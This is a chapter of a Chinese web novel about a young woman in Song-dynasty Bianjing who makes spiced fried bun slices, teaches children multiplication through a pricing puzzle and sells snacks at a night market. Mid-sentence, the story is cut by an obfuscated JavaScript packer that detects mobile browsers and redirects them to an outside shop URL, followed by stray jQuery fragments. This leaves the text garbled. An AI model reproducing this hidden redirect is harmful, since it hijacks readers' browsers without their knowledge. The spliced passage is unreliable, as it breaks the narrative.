等炊饼全都晾凉,微微变得表皮发干发硬时,柳朝云便将它们切成厚度相同的片状,然后在特意定做的圆形大陶盘的底部薄薄的刷上一层油,将这些放上去小火慢煎,直到两片都煎到金黄微焦、整体酥脆后盛出。然后再撒上一层盐、白芝麻、孜然、花椒、茱萸、肉桂、八角等各种磨成细粉混合在一起的香料,摇晃裹匀。
这些香料有的是在铺子里买的,有的是在药铺里才能寻到,其中有几样价格颇贵。
两个小试吃员各拿一块,“咔嚓”一声,极酥极脆的馒头片裂开在唇齿间,随后便漫上一层微辛咸鲜的香味,让他们的唾液忍不住争前恐后的冒了出来。
“没想到炊饼也能这么好吃!”
柳朝云也拿起一块尝了尝,满意地点了点头。
月姐儿已经开始吃第二块了,她原本还觉得阿姊买的太多了,现在却一点都不觉得。这么好吃的东西,怎么能嫌多呢?
“阿姊阿姊,这个叫什么呀?”
宋朝人十分热衷于给美食起各种极为风雅的名字,以至于光从名字压根很难猜出就是是什么。但柳朝云卖的是亲民的市井小食,想了想决定还是起一个通俗易懂的名字——香酥百味馒头片。
她定价二十文一份,一份十片。
“两位小朋友请听题,已知一个炊饼可以切成五片,那么六十二个炊饼可以切成多少片呢?切成片后去夜市上卖,又能卖出多少钱呢?先答出来的小朋友可以获得一盘馒头片作为奖励,加油哟!”
有了好吃的零食作为胡萝卜在前面吊着,两个孩子的学习热情空前高涨,尤其是月姐儿,还拉来了康哥儿作为外援,承诺赢了之后将馒头片分他一半。
周嫂子一边做活儿一边乐,道:“我们家那猢狲正是狗都嫌的年纪,平日里就知道上蹿下跳的给我惹祸,还是云娘你有办法,能让他安静一会儿,顺带着还能学点算数,真是阿弥陀佛。”
柳朝云将炭炉搬到院子里,一边翻着馒头片一边回道:“周嫂子可打算送康哥儿去读书?”
周嫂子甩了甩胳膊上的水道:“哪能不想呢?孩儿他爹尚在的时候还念叨着呢,一道和他学手艺的师兄,就是因为比他多认得些字,便更得师傅看重。若是他还在......”周嫂子揩了揩眼角。
康哥儿的爹患上了时疫,光是治病的药材就几乎耗光了吴家的家底,可没成想还是没救过来,幸而吴婆婆年轻时绣技高超,攒钱置办了这座小院,他们孤儿寡母不至于无处可去。可她和周嫂子一年到头挣的钱也堪堪只够吃饭,根本没有多少余钱攒下来,就更别提送康哥儿去上学了。
柳朝云深知这一点,于是垂下眸不再多说,将一盘馒头片摆在了墙头上。
周嫂子连忙摆手:“不成不成,你这些都是要拿去卖钱的,哪能总给我们吃,快收回去。”
柳朝云笑着说:“不过是炊饼做的,不值几个钱,厨房里还有一箩筐呢,周嫂子还怕吃穷了我?”
周嫂子失笑,拿了一块没撒料的:“也罢,你那些香料贵价,快别撒了,我就吃这种的。”
“你的心思也是巧,光是炊饼就能做出花来,我还是第一次见有这种做法呢。可这法子简单,怕是很快就让人学了去。”
柳朝云笑了笑:“不怕,汴京城这样大,人口百万,生意哪是我一个人就能吃得下的。”
她俏皮地眨了眨眼:“况且这撒料可是我的独家秘方,任凭是谁也学不去!”
两人正说着话,月姐儿忽然将手中木棍一扔,欢呼着扑到跟前:“阿姊!阿姊我算出来啦!”
柳朝云看了一眼站在她身后,早就胸有成竹却一直憋到现在、就是为了让一让月姐儿的阳哥儿,抿着嘴笑装作不知道:“哦?答案是多少,月姐儿说说看。”
“一个炊饼可以切成五片,六十二个炊饼一共可以切成三百一十片!康哥儿,剩下的你来说。”
“一份十片,卖二十文,那么一共可以卖六百二十文!”
柳朝云笑眯眯地在两个人的头上各胡噜一下:“恭喜你们!答对啦!奖励香酥百味馒头片一盘!”
“哇!”月姐儿和阳哥儿两人俱都欢呼着,“阿姊真好!”
柳朝云招着手又把阳哥儿叫了过来,柔声问:“阿姊再单独出一道题考考阳哥儿,若是把炊饼的数量从六十二换成一百二十四,答案又该是多少呢?”
阳哥儿略想了想,回答道:“一共六百二十片,一千二百四十文。”
柳朝云击掌赞许:“对啦!这里面呢,一百二十四是六十二的两倍,那么两个答案也是各自的两倍,里面就包含着阿姊想教给你的乘法......”
于是柳朝云便趁着这个机会将九九乘法表教着他们念了一遍,实际上九九乘法表在晚唐时期就已经有了,只不过现在的人更依赖于算盘和算筹,她也不过是汲取了前人的智慧罢了。
九九乘法表朗朗上口,用清脆干净的童音念出来格外动听,不一会儿,连周嫂子都听住了。
下午,柳朝云照旧在厨房里准备蒸面包所需的面团,月姐儿和阳哥儿在外面和小伙伴们聚在一起看蚂蚁,李家的小五郎瘦小的身子隐在槐树后面,一脸想加入又不敢的样子。
月姐儿看见了,一把将他拽到自己身边,小五郎见没有人驱赶他,笑眯了眼,身子小心翼翼地往月姐儿脚边挪动了几分。
常家的芸姐儿牵着弟弟青哥儿从家往铁器铺去,青哥儿手里抱着书本,眼神却极为渴望地望着月姐儿他们的方向。
月姐儿不明所以,歪着头双眼弯弯对他道:“你要一起过来玩吗?”
青哥儿眼睛一亮,摇了摇姐姐的手,芸姐儿咬着唇有些为难,正准备开口,就被匆匆赶来的常娘子打断了。
她动作有些粗鲁地将青哥儿往前拉了拉:“玩什么玩?一寸光阴一寸金,等到你考上功名做大官了,有多少功夫玩不得?到那时阿娘再不会管你!”
说完瞪了芸姐儿一眼,拽着青哥儿往前走:“叫你看好弟弟,你就是这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341512|199354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么看的?若不是我来的及时,你是不是就要让你弟弟跟个野孩子似的疯玩?”
芸姐儿似是早就被这么指责惯了,沉默着低下了头。
月姐儿虽然年纪小,但是话听得明白,隐隐约约觉得常娘子那句“野孩子”像是在骂自己似的,便有些不大高兴。
“对不住。”芸姐儿落在后面,对月姐儿道歉,“我阿娘她......她不是有意的,只是,只是过于看重青哥儿的学业。”
月姐儿看着面前这个内敛但十分温柔的姊姊,一下子就觉得不难受了,将一块馒头片塞进芸姐儿的手里笑着道:“没关系呀。”
常娘子见她迟迟没跟上来,正叉着腰沉脸回身看她,芸姐儿连忙小跑着追了过去,她小小地咬了一口,馒头片香脆扑鼻,她惊讶的同时连常娘子的唠叨声都没怎么听见。
月姐儿也给了李家小五郎一块,小五郎谨记月姐儿的教诲,把手洗的干干净净才去接,接到手里后他掰成两半,准备留一半晚上悄悄给大哥吃,谁知还没送到嘴边,两半就全被人从背后抢去了。
“啊!三哥,还给我!”小五郎急得直跳脚。
李三郎一手推他,一手忙不迭地塞到嘴里,吃完还舔了舔脏兮兮的手指:“吃完了,没有了。”
小五郎立马哭了出来,眼看着就要吵醒屋子里睡觉的李娘子,李三郎压低声音道:“你要是再吵我就把早上大哥给你吃独食的事情告诉二妞和四妞!”
这话颇有威慑力,小五郎只能抽抽噎噎的止住了哭泣。他抹干脸上的眼泪一个人跑了出去,猫在大槐树底下,眼神时不时地往柳家门口瞟,听着里面月姐儿咯咯的笑声,一种强烈的情绪在胸口处激荡着。
只不过,小小的他这时还不明白,这种感觉叫——羡慕。
从下值归家的柏舟手里接过空了的背篓和预订明早蒸面包的铜钱后,柳朝云便带着蒸面包和馒头片往夜市去了。
因出门略迟些,昨晚的位置已被人占了,姐弟三人只得另找了个空处。
刚把东西放下,就见一人正左顾右盼,看见他们忙奔了过来:“还以为你们今天不来了呢,快快快,给我包上五个蒸面包。”
柳朝云负责打包,阳哥儿负责收钱,月姐儿则用脆甜的声音开始推销起来:“客官,要不要尝尝这个香酥百味馒头片?撒上我阿姊独家秘制的调料,一份只需要二十文哦。”
对方好笑地看着这个小娃,道:“当真有百味?可否尝尝?”
月姐儿也不知跟谁学的一脸牙痛的模样,用竹夹子夹起一块递给对方,道:“这是阿姊给我打牙祭用的,看客官这么大方,就送给您吃好啦,千万不要外传哟~”
“哈哈!”对方被逗的大笑起来,一边尝一边忍不住对着柳朝云竖起大拇指,“满口酥香,咸辛适口,果然‘百味’!给我包上两份,不!三份吧!”
送走这位客人后,柳朝云忍不住点了点月姐儿的小鼻子:“小鬼灵精!”
月姐儿捧着脸嘻嘻地笑。